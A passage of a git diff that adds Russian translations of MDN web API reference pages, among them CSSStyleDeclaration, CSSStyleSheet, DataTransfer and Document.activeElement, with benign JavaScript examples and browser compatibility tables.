var value = style.getPropertyValue(property);
+ +

Параметры

+ + + +

Возвращаемое значение

+ + + +

Пример

+ +

Следующий JavaScript код проверяет отмечен ли margin как important в CSS правиле селектора:

+ +
var declaration = document.styleSheets[0].rules[0].style;
+var value = declaration.getPropertyValue('margin'); // "1px 2px"
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSSOM', '#dom-cssstyledeclaration-getpropertyvalue', 'CSSStyleDeclaration.getPropertyValue()')}}{{Spec2('CSSOM')}} 
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSStyleDeclaration')}}{{Spec2('DOM2 Style')}} 
+ +

Браузерная совместимость

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/api/cssstyledeclaration/index.html b/files/ru/web/api/cssstyledeclaration/index.html new file mode 100644 index 0000000000..b82c28990e --- /dev/null +++ b/files/ru/web/api/cssstyledeclaration/index.html @@ -0,0 +1,103 @@ +--- +title: CSSStyleDeclaration +slug: Web/API/CSSStyleDeclaration +tags: + - API + - CSSOM + - Interface + - NeedsCompatTable + - NeedsMarkupWork + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/CSSStyleDeclaration +--- +

{{ APIRef("CSSOM") }}

+ +

Интерфейс CSSStyleDeclaration представляет объект, являющийся блоком объявления CSS, и предоставляет информацию о стиле и различные связанные со стилем методы и свойства.

+ +

Объект CSSStyleDeclaration может быть представлен с помощью трех различных API:

+ + + +

Аттрибуты

+ +
+
{{domxref("CSSStyleDeclaration.cssText")}}
+
Текстовое представление блока объявления. Установка этого атрибута изменяет стиль.
+
{{domxref("CSSStyleDeclaration.length")}} {{readonlyInline}}
+
Количество свойств. Смотри ниже метод {{domxref("CSSStyleDeclaration.item()", 'item()')}} .
+
{{domxref("CSSStyleDeclaration.parentRule")}} {{readonlyInline}}
+
Содержащееся {{domxref("CSSRule")}}.
+
+ +

Методы

+ +
+
{{domxref("CSSStyleDeclaration.getPropertyPriority()")}}
+
Возвращает необязательный приоритет "important".
+
{{domxref("CSSStyleDeclaration.getPropertyValue()")}}
+
Возвращает значение свойства, заданное именем свойства.
+
{{domxref("CSSStyleDeclaration.item()")}}
+
Возвращает имя свойства.
+
{{domxref("CSSStyleDeclaration.removeProperty()")}}
+
Удаляет свойство из блока объявления CSS.
+
{{domxref("CSSStyleDeclaration.setProperty()")}}
+
Изменяет существующее свойство CSS или создает новое свойство CSS в блоке объявления.
+
{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}
+
Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или null для сокращенных свойств.
+
+ +

Пример

+ +
var styleObj = document.styleSheets[0].cssRules[0].style;
+console.log(styleObj.cssText);
+
+for (var i = styleObj.length; i--;) {
+  var nameString = styleObj[i];
+  styleObj.removeProperty(nameString);
+}
+
+console.log(styleObj.cssText);
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}}{{Spec2('CSSOM')}}
{{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSPrimitiveValue')}}{{Spec2('DOM2 Style')}}Изначальное определение
+ +

Смотри также

+ + + +

Совместимость браузеров

+ + + +

{{Compat("api.CSSStyleDeclaration")}}

diff --git a/files/ru/web/api/cssstylesheet/index.html b/files/ru/web/api/cssstylesheet/index.html new file mode 100644 index 0000000000..1b2da99134 --- /dev/null +++ b/files/ru/web/api/cssstylesheet/index.html @@ -0,0 +1,133 @@ +--- +title: CSSStyleSheet +slug: Web/API/CSSStyleSheet +translation_of: Web/API/CSSStyleSheet +--- +
{{APIRef("CSSOM")}}
+ +

CSSStyleSheet interface представляет одну CSS таблицу стилей. CSS таблица наследует свойства и методы от родителя, {{domxref("StyleSheet")}}.

+ +

Таблица стилей состоит (правил){{domxref("CSSRule", "rules", "", 1)}}, таких как {{domxref("CSSStyleRule", "style rules", "", 1)}} ("h1,h2 { font-size: 16pt }"),и различных (@import, @media, ...), etc. CSSStyleSheet interface позволяет получать и изменять список правил в таблице стилей.

+ +

Смотрите {{anch("Notes")}} секцию о  различных способах получения CSSStyleSheet object.

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("StyleSheet")}}.

+ +
+
{{domxref("CSSStyleSheet.cssRules")}}
+
Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.
+ This is normally used to access individual rules like this: + 
   styleSheet.cssRules[i] // where i = 0..cssRules.length-1
+ To add or remove items in cssRules, use the CSSStyleSheet's deleteRule() and insertRule() methods, described below.
+
{{domxref("CSSStyleSheet.ownerRule")}}
+
If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the ownerRule property will return that {{domxref("CSSImportRule")}}, otherwise it returns null.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("Stylesheet")}}.

+ +
+
{{domxref("CSSStyleSheet.deleteRule()")}}
+
Deletes a rule at the specified position from the style sheet.
+
{{domxref("CSSStyleSheet.insertRule()")}}
+
Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.
+
+ +

Notes

+ +

In some browsers, if a stylesheet is loaded from a different domain, calling cssRules results in SecurityError.

+ +

A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of CSSStyleSheet objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its owner object (Node or CSSImportRule), if any.

+ +

A CSSStyleSheet object is created and inserted into the document's styleSheets list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new CSSStyleSheet object manually (although Constructable Stylesheet Objects is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.

+ +

A (possibly incomplete) list of ways a style sheet can be associated with a document follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Reason for the style sheet to be associated with the documentAppears in document.
+ styleSheets list		Getting the owner element/rule given the style sheet objectThe interface for the owner objectGetting the CSSStyleSheet object from the owner
{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the documentYes{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("HTMLLinkElement")}},
+ {{domxref("HTMLStyleElement")}},
+ or {{domxref("SVGStyleElement")}}		{{domxref("LinkStyle.sheet", ".sheet")}}
CSS {{cssxref("@import")}} rule in other style sheets applied to the documentYes{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}{{domxref("CSSImportRule")}}{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}
<?xml-stylesheet ?> processing instruction in the (non-HTML) documentYes{{domxref("StyleSheet.ownerNode", ".ownerNode")}}{{domxref("ProcessingInstruction")}}{{domxref("LinkStyle.sheet", ".sheet")}}
HTTP Link HeaderYesN/AN/AN/A
User agent (default) style sheetsNoN/AN/AN/A
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}{{Spec2("CSSOM")}} 
{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}{{Spec2("DOM2 Style")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.CSSStyleSheet")}}

+ +

See also

+ + diff --git a/files/ru/web/api/cssvalue/index.html b/files/ru/web/api/cssvalue/index.html new file mode 100644 index 0000000000..168f152849 --- /dev/null +++ b/files/ru/web/api/cssvalue/index.html @@ -0,0 +1,74 @@ +--- +title: CSSValue +slug: Web/API/CSSValue +translation_of: Web/API/CSSValue +--- +
{{APIRef("DOM")}}
+ +

Интерфейс CSSValue возвращает текущее вычсленное значение CSS-свойства. 

+ +

Свойства

+ +
+
{{domxref("CSSValue.cssText")}}
+
{{domxref("DOMString")}} возвращает текущее значение.
+
{{domxref("CSSValue.cssValueType")}} {{readonlyInline}}
+
An unsigned short representing a code defining the type of the value. Возможные значения: + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
CSS_CUSTOMThe value is a custom value.
CSS_INHERITЗначение унаследовано и cssText содержит "inherit".
CSS_PRIMITIVE_VALUEThe value is a primitive value and an instance of the {{domxref("CSSPrimitiveValue")}} interface can be obtained by using binding-specific casting methods on this instance of the CSSValue interface.
CSS_VALUE_LISTThe value is a CSSValue list and an instance of the {{domxref("CSSValueList")}} interface can be obtained by using binding-specific casting methods on this instance of the CSSValue interface.
+
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM2 Style', 'css.html#CSS-CSSValue', 'CSSValue')}}{{Spec2('DOM2 Style')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.CSSValue")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/datatransfer/index.html b/files/ru/web/api/datatransfer/index.html new file mode 100644 index 0000000000..e811476965 --- /dev/null +++ b/files/ru/web/api/datatransfer/index.html @@ -0,0 +1,383 @@ +--- +title: DataTransfer +slug: Web/API/DataTransfer +tags: + - API +translation_of: Web/API/DataTransfer +--- +
{{APIRef("HTML DOM")}}
+ +

{{ gecko_minversion_header("1.9") }} Объект DataTransfer используется для хранения данных, перетаскиваемых мышью во время операции drag and drop. Он может хранить от одного до нескольких элементов данных, вне зависимости от их типа. Для получения доп. информации об операции drag and drop, см. Drag and Drop

+ +

Объект может быть получен из свойства dataTransfer всех событий перетаскивания. Он не может быть отдельно создан.

+ +

Список свойств

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоТип
dropEffectString
effectAllowedString
files {{ gecko_minversion_inline("1.9.2") }}{{ domxref("FileList") }}
mozCursor {{ non-standard_inline() }} {{ gecko_minversion_inline("1.9.1") }}String
mozItemCount {{ non-standard_inline() }}unsigned long
mozSourceNode {{ non-standard_inline() }} {{ gecko_minversion_inline("2") }}{{ domxref("Node") }}
mozUserCancelledBoolean
typesDOMStringList
+ +

Список методов

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void addElement(in Element element)
void clearData([in String type])
String getData(in String type)
void setData(in String type, in String data)
void setDragImage(in nsIDOMElement image, in long x, in long y)
void mozClearDataAt([in String type, in unsigned long index])
nsIVariant mozGetDataAt(in String type, in unsigned long index)
void mozSetDataAt(in String type, in nsIVariant data, in unsigned long index)
StringList mozTypesAt([in unsigned long index])
+ +

Свойства

+ +

dropEffect

+ +

Реальное действие, которое будет выполнено, и единственное возможное значение свойства effectAllowed.

+ +

Для событий dragenter и dragover, dropEffect будет инициализировано значением, зависящим от того, какое действие запрашивает пользователь. То, как это определяется, зависит от платформы, но, как правило, пользователи могут зажать клавиши-модификаторы для выбора желаемого действия. В обработчике событий для dragenter и dragover, dropEffect следует модифицировать, если запрашиваемое пользователем действие не то, которое требовалось.

+ +

Для событий dragstart, drag, и dragleave, dropEffect будет инициализировано значением "none". Cвойству dropEffect можно присвоить любое значение, но оно не будет ни для чего использоваться.

+ +

Для событий drop и dragend, dropEffect будет инициализировано значением, которое было назначено свойству dropEffect после последнего события dragenter или dragover.

+ +

Возможные значения:

+ + + +

Присвоение каких-либо других значений не возымеет эффекта и оставит старое значение.

+ +

effectAllowed

+ +

Определяет эффекты, которые разрешены для этого перетаскивания (дрэг). Вы можете указать их в собитии dragstart чтобы желаемый эффект сработал на перетаскиваемом элементе (что перетаскиваем),  или в событии  dragenter и dragenter чтобы желаемый эффект сработал для цели перетаскивания (куда перетаскиваем). В других событиях значение не используется.

+ +

Возможные значения:

+ + + +

Assigning any other value has no effect and retains the old value.

+ +

files

+ +

{{ gecko_minversion_header("1.9.2") }}

+ +

Содержит список локальных файлов доступных на dataTransfer. Если операция перемещения не включала в себя перемещение файлов, то данное свойство будет пустым списком. Неверное обращение по индексу к объекту {{ domxref("FileList") }} определённым данным свойством вернёт null.

+ +

Пример

+ +

Данный пример демонстрирует перетаскивание файлов в окно браузера:

+ +

http://jsfiddle.net/9C2EF/

+ +

types

+ +

Содержит список типов форматов данных в порядке добавления данных. Если ничего не было добавлено, то будет вернут пустой список.

+ +

{{ gecko_minversion_note("1.9.2", 'The string "Files" is included in this list if files are included in the drag.') }}

+ +

{{ h3_gecko_minversion("mozCursor", "1.9.1", "mozCursor") }}

+ +

The drag cursor's state. This is primarily used to control the cursor during tab drags.

+ +
Note: This method is currently only implemented on Windows.
+ +

Possible values

+ +
+
auto
+
Uses the default system behavior.
+
default
+
Uses the default Gecko behavior, which is to set the cursor to an arrow during the drag operation.
+
+ +
Note: If you specify any value other than "default", "auto" is assumed.
+ +

mozItemCount

+ +

The number of items being dragged.

+ +
Note: This property is Gecko-specific.
+ +

mozSourceNode

+ +

{{ gecko_minversion_header("2") }}

+ +

The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is null for external drags or if the caller can't access the node.

+ +
Note: This property is Gecko-specific.
+ +

mozUserCancelled

+ +

This property applies only to the dragend event, and is true if the user canceled the drag operation by pressing escape. It will be false in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location. This property is not currently implemented on Linux.

+ +
Note: This property is Gecko-specific.
+ +

Методы

+ +

addElement()

+ +

Данный метод устанавливает источник перетаскивания. Обычно вы его не изменяете, но он влияет на то,  на каком узле запускаются события drag и dragend. По умолчанию целью является узел который перетаскивали.

+ +
 void addElement(
+   in Element element
+ );
+
+ +
Параметры
+ +
+
element
+
Элемент для добавления.
+
+ +

clearData()

+ +

Удаление данных, связанные с указанным типом. Аргумент type является необязательным. Если type пуст или не указан, тогда данные, связанные со всеми типами удаляются. Если данные для указанного типа не существуют или передача данных не содержит данных, тогда этот метод не будет делать ничего.

+ +
 void clearData(
+   [optional] in String type
+ );
+
+ +
Параметры
+ +
+
type
+
Тип данных для удаления.
+
+ +

getData()

+ +

Возвращает данные для указанного типа или пустую строку, если данные для указанного типа не существуют или передаваемая сущность не содержит данных.

+ +

Ошибка безопасности возникает при попытке получить данные во время перетаскивания из другого домена, иначе вызывающий объект не будет иметь доступа. Эти данные будут доступны только после того, как элемент будет отпущен в случае события drop.

+ +
 String getData(
+   in String type
+ );
+
+ +
Параметры
+ +

Тип данных который будет возвращен.

+ +
+
type
+
+ +

setData()

+ +

Установка данных для указываемого типа. Если данные для type не существуют, тогда они добавляются в конце, так что последним элементом в списке типов будет новый формат. Если данные для type уже существуют, существующие данные заменяются в том же положении. То есть порядок списка типов не изменяется при замене данных одного и того же типа.

+ +
 void setData(
+   in String type,
+   in String data
+ );
+
+ +
Параметры
+ +
+
type
+
Тип добавляемых данных.
+
data
+
Данные для добавления.
+
+ +

setDragImage()

+ +

Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создается из перетаскиваемого узла.

+ +

Если узел является HTML-элементом img, HTML-элементом canvas или XUL-элементом изображения, тогда используются данные изображения. В противном случае изображение должно быть видимым узлом, и из этого будет создано перетаскиваемое изображение. Если изображение равно null, любое пользовательское изображение перетаскиваемое очищается и вместо него используется значение по умолчанию.

+ +

Координаты указывают смещение в изображении, где должен находиться курсор мыши. Например, для центрирования изображения используйте значения, которые составляют половину ширины и высоты изображения.

+ +
 void setDragImage(
+   in Element image,
+   in long x,
+   in long y
+ );
+
+ +
Параметры
+ +
+
image
+
Элемент используемый в качестве изображения обратной связи при перетаскивании
+
x
+
Горизонтальное смещение внутри изображения.
+
y
+
Вертикальное смещение внутри изображения.
+
+ +

mozClearDataAt()

+ +

Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.

+ +

If the last format for the item is removed, the entire item is removed, reducing mozItemCount by one.

+ +

If the format list is empty, then the data associated with all formats is removed. If the format is not found, then this method has no effect.

+ +
Note: This method is Gecko-specific.
+ +
 void mozClearDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+
+ +
Parameters
+ +
+
type
+
The type of data to remove.
+
index
+
The index of the data to remove.
+
+ +

mozGetDataAt()

+ +

Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.

+ +
Note: This method is Gecko-specific.
+ +
 nsIVariant mozGetDataAt(
+   [optional] in String type,
+   in unsigned long index
+ );
+
+ +
Parameters
+ +
+
type
+
The type of data to retrieve.
+
index
+
The index of the data to retrieve.
+
+ +

mozSetDataAt()

+ +

A data transfer may store multiple items, each at a given zero-based index. mozSetDataAt() may only be called with an index argument less than mozItemCount in which case an existing item is modified, or equal to mozItemCount in which case a new item is added, and the mozItemCount is incremented by one.

+ +

Data should be added in order of preference, with the most specific format added first and the least specific format added last. If data of the given format already exists, it is replaced in the same position as the old data.

+ +

The data should be either a string, a primitive boolean or number type (which will be converted into a string) or an {{ interface("nsISupports") }}.

+ +
Note: This method is Gecko-specific.
+ +
 void mozSetDataAt(
+   [optional] in String type,
+   in nsIVariant data,
+   in unsigned long index
+ );
+
+ +
Parameters
+ +
+
type
+
The type of data to add.
+
data
+
The data to add.
+
index
+
The index of the data to add.
+
+ +

mozTypesAt()

+ +

Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.

+ +
Note: This method is Gecko-specific.
+ +
 nsIVariant mozTypesAt(
+   in unsigned long index
+ );
+
+ +
Parameters
+ +
+
index
+
The index of the data for which to retrieve the types.
+
+ +

See also

+ +

Drag and Drop

+ +

{{ languages( { "ja": "Ja/DragDrop/DataTransfer" } ) }}

diff --git a/files/ru/web/api/devicestorage/index.html b/files/ru/web/api/devicestorage/index.html new file mode 100644 index 0000000000..00c3b20192 --- /dev/null +++ b/files/ru/web/api/devicestorage/index.html @@ -0,0 +1,87 @@ +--- +title: DeviceStorage +slug: Web/API/DeviceStorage +tags: + - API + - Device Storage + - WebAPI +translation_of: Archive/B2G_OS/API/DeviceStorage +--- +

{{ ApiRef() }}

+

{{ non-standard_header() }}

+

{{ B2GOnlyHeader2('certified') }}

+

Введение

+

DeviceStorage — интерфейс, используемый для доступа к файлам в особом хранилище (или области хранения), доступном на устройстве. Это хранилище, по сути, является файловой системой — хотя оно на самом деле скрывает нижележащую файловую системы.

+

Чтобы получить доступ к хранилищу, необходимо использовать метод {{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}} , возвращающую объекты DeviceStorage. Затем вы сможете использовать методы и свойства этих объектов, чтобы получить доступ к содержимому хранилища.

+

Свойства

+
+
+ {{domxref("DeviceStorage.storageName")}} {{readonlyinline}}
+
+ Строка, представляющая имя области хранения. Та же, что используется при вызове {{domxref("window.navigator.getDeviceStorage()","getDeviceStorage")}} чтобы получить объект DeviceStorage.
+
+ {{domxref("DeviceStorage.default")}} {{readonlyinline}}
+
+ Логическое значение, указывающее, назначено ли это хранилище по умолчанию для хранения новых файлов (true) или нет (false).
+
+

Обработчики событий

+
+
+ {{domxref("DeviceStorage.onchange")}}
+
+ Обрабатывает событие {{event("change")}}. Это событие происходит каждый раз, когда содержимое хранилища меняется.
+
+

Функции

+
+
+ {{ domxref("DeviceStorage.add()") }}
+
+ Создает файл в области хранения. Имя файла генерируется автоматически.
+
+ {{ domxref("DeviceStorage.addNamed()") }}
+
+ Создает файл в области хранения. Имя файла задается при вызове функции.
+
+ {{ domxref("DeviceStorage.available()") }}
+
+ Возвращает available если хранилище доступно для использования и shared если устройство подключено к ПК.
+
+ {{ domxref("DeviceStorage.delete()") }}
+
+ Удаляет файл из области хранения.
+
+ {{ domxref("DeviceStorage.enumerate()") }}
+
+ Возвращает список файлов, доступных в области хранения. Полученные файлы доступны только для чтения.
+
+ {{ domxref("DeviceStorage.enumerateEditable()") }}
+
+ Возвращает список файлов, доступных в области хранения.
+
+ {{ domxref("DeviceStorage.freeSpace()") }}
+
+ Возвращает количество свободного места, доступного в области хранения.
+
+ {{ domxref("DeviceStorage.get()") }}
+
+ Возвращает файлы, доступные только для чтения.
+
+ {{ domxref("DeviceStorage.getEditable()") }}
+
+ Возвращает файлы, доступные для редактирования.
+
+ {{ domxref("DeviceStorage.usedSpace()") }}
+
+ Возвращает количество занятого места в области хранения.
+
+

Обработчики событий

+

Функции, наследованные от {{domxref("EventTarget")}} интерфейса:

+

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+

Спецификация

+

Не является частью какой-либо спецификации.

+

Смотрите также

+ diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html new file mode 100644 index 0000000000..1a46c20a30 --- /dev/null +++ b/files/ru/web/api/document/activeelement/index.html @@ -0,0 +1,164 @@ +--- +title: Document.activeElement +slug: Web/API/Document/activeElement +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +

{{ ApiRef() }}

+ +

Анотация

+ +

Возвращает текущий сфокусированный элемент, то есть элемент, на котором будут вызываться события клавиатуры, если пользователь начнёт с неё ввод. Этот атрибут доступен только для чтения.

+ +

Часто возвращается {{ HTMLElement("input") }} или {{ HTMLElement("textarea") }} объект, если он содержит в себе выделенный в данный момент текст. При этом вы можете получить более подробные сведения, используя свойства элемента  selectionStart и selectionEnd.  В других случаях сфокусированным элементом может быть {{ HTMLElement("select") }} элемент (меню) или {{ HTMLElement("input") }} элемент типа button, checkbox или radio.

+ +

{{ Note("На Mac, элементы, не являющиеся текстовыми полями, как правило, не получают фокус.") }}

+ +

Как правило, пользователь может нажать клавишу табуляции для перемещения по фокусируемым элементам страницы, и использовать пробел для их активации (нажать кнопку button, выбрать переключатель radio).

+ +

Не следует путать фокус с выделением документа, состоящего в основном из статических текстовых узлов. См. {{ domxref("window.getSelection()") }}. 

+ +

Когда выделение отсутствует, активным элементом является {{ HTMLElement("body") }} страницы или null. 

+ +

{{ Note("Этот атрибут является частью разрабатываемой спецификации HTML 5.") }}

+ +

Синтаксис

+ +
var curElement = document.activeElement;
+
+ +

Пример

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+    <script type="text/javascript" charset="utf-8">
+    function init() {
+
+        function onMouseUp(e) {
+            console.log(e);
+            var outputElement = document.getElementById('output-element');
+            var outputText = document.getElementById('output-text');
+            var selectedTextArea = document.activeElement;
+            var selection = selectedTextArea.value.substring(
+            selectedTextArea.selectionStart, selectedTextArea.selectionEnd);
+            outputElement.innerHTML = selectedTextArea.id;
+            outputText.innerHTML = selection;
+        }
+
+        document.getElementById("ta-example-one").addEventListener("mouseup", onMouseUp, false);
+        document.getElementById("ta-example-two").addEventListener("mouseup", onMouseUp, false);
+    }
+    </script>
+</head>
+<body onload="init()">
+<div>
+    Выделите текст в одном из текстовых полей ниже:
+</div>
+<form id="frm-example" action="#" accept-charset="utf-8">
+<textarea name="ta-example-one" id="ta-example-one" rows="8" cols="40">
+Это текстовое поле 1:
+Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.
+</textarea>
+<textarea name="ta-example-two" id="ta-example-two" rows="8" cols="40">
+Это текстовое поле 2:
+Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.
+</textarea>
+</form>
+ID активного элемента: <span id="output-element"></span><br/>
+Выделенный текст: <span id="output-text"></span>
+
+</body>
+</html>
+
+ +

Посмотреть на JSFiddle

+ +

Примечания

+ +

Первоначально введенное как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-activeelement', 'activeElement')}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23.04 [1]9.64.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1]: В IE9 наблюдается баг: при попытке получения доступа к activeElement в {{domxref("window.parent")}} {{domxref("Document")}} из {{HTMLElement("iframe")}} (т.е. parent.document.activeElement) выбрасывается ошибка.

+ +

Связанные события

+ + diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..30ae4fccc9 --- /dev/null +++ b/files/ru/web/api/document/alinkcolor/index.html @@ -0,0 +1,40 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - Obsolete + - Property +translation_of: Web/API/Document/alinkColor +--- +

{{APIRef("DOM")}} {{ Deprecated_header() }}

+ +

Возвращает или задает цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.

+ +

Синтаксис

+ +
color = document.alinkColor
+document.alinkColor = color
+
+ +

Color - строка, содержащая имя цвета (например, blue, dark blue и т.д.) или шестнадцатеричное значение цвета(#0000FF)

+ +

Примичание

+ +

Значение по умолчанию для этого свойства в Mozilla Firefox является красным (#ee0000 в шестнадцатеричном формате).

+ +

document.alinkColor устарел в DOM Level 2 HTML. Одним из вариантов является CSS-селектор {{ Cssxref(":active") }}.

+ +

Другой альтернативой является document.body.aLink, хотя это устарело в HTML 4.01 в пользу альтернативы CSS.

+ +

Gecko подерживает оба варианта alinkColor/:active and {{ Cssxref(":focus") }}. Internet Explorer 6 и 7 подерживает alinkColor/:active только для HTML ссылок с якорем (<a>)  и поведение у них такое же, как :focus в Gecko. В IE нет поддержки :focus.

+ +

Браузерная поддержка

+ + + +

{{Compat("api.Document.alinkColor")}}

+ +

 

diff --git a/files/ru/web/api/document/all/index.html b/files/ru/web/api/document/all/index.html new file mode 100644 index 0000000000..2922af874e --- /dev/null +++ b/files/ru/web/api/document/all/index.html @@ -0,0 +1,42 @@ +--- +title: Document.all +slug: Web/API/Document/all +translation_of: Web/API/Document/all +--- +
{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}
+ +

The {{DOMxRef("Document")}} Свойство all только для чтения интерфейса возвращает: {{DOMxRef("HTMLAllCollection")}} С корнем в узле документа. Другими словами, он возвращает все содержимое страницы.

+ +

Синтаксис

+ +
var htmlAllCollection = document.all;
+ +

Параметры

+ +

В {{DOMxRef("HTMLAllCollection")}} содержится все узелы в документе.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG', 'obsolete.html#dom-document-all', 'all')}}{{Spec2('HTML WHATWG')}}Первоначальное определение.
+ Устаревший и находится вустаревшем разделе API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Document.all")}}

diff --git a/files/ru/web/api/document/anchors/index.html b/files/ru/web/api/document/anchors/index.html new file mode 100644 index 0000000000..9d9f3aaa70 --- /dev/null +++ b/files/ru/web/api/document/anchors/index.html @@ -0,0 +1,125 @@ +--- +title: Document.anchors +slug: Web/API/Document/anchors +tags: + - API + - Document + - HTML DOM + - id + - name + - Якоря +translation_of: Web/API/Document/anchors +--- +
{{APIRef("DOM")}}
+ +

anchors возвращает массив всех якорей в документе.

+ +

Синтаксис

+ +
nodeList = document.anchors;
+
+ +

 

+ +

Значение

+ +

{{domxref("HTMLCollection")}}.

+ +

 

+ +

Пример

+ +
if ( document.anchors.length >= 5 ) {
+  dump("найдено слишком много якорей");
+  window.location = "http://www.google.com";
+}
+
+ +

Следующий пример автоматически генерирует список якорей из заглавий блоков, имеющихся на странице:

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>Test</title>
+<script>
+function init() {
+  var toc = document.getElementById("toc");
+  var i, li, newAnchor;
+  for (i = 0; i < document.anchors.length; i++) {
+    li = document.createElement("li");
+    newAnchor = document.createElement('a');
+    newAnchor.href = "#" + document.anchors[i].name;
+    newAnchor.innerHTML = document.anchors[i].text;
+    li.appendChild(newAnchor);
+    toc.appendChild(li);
+  }
+}
+</script>
+
+</head>
+<body onload="init()">
+
+<h1>Title</h1>
+<h2><a name="contents">Contents</a></h2>
+<ul id="toc"></ul>
+
+<h2><a name="plants">Plants</a></h2>
+<ol>
+    <li>Apples</li>
+    <li>Oranges</li>
+    <li>Pears</li>
+</ol>
+
+<h2><a name="veggies">Veggies</a></h2>
+<ol>
+    <li>Carrots</li>
+    <li>Celery</li>
+    <li>Beats</li>
+</ol>
+
+</body>
+</html>
+
+ +

Посмотреть на JSFiddle

+ +

Примечание

+ +

По причине обратной совместимости возвращаемый массив якорей включает в себя лишь якоря, созданные с помощью атрибута name, а не а id.

+ +

 

+ +

Спецификации

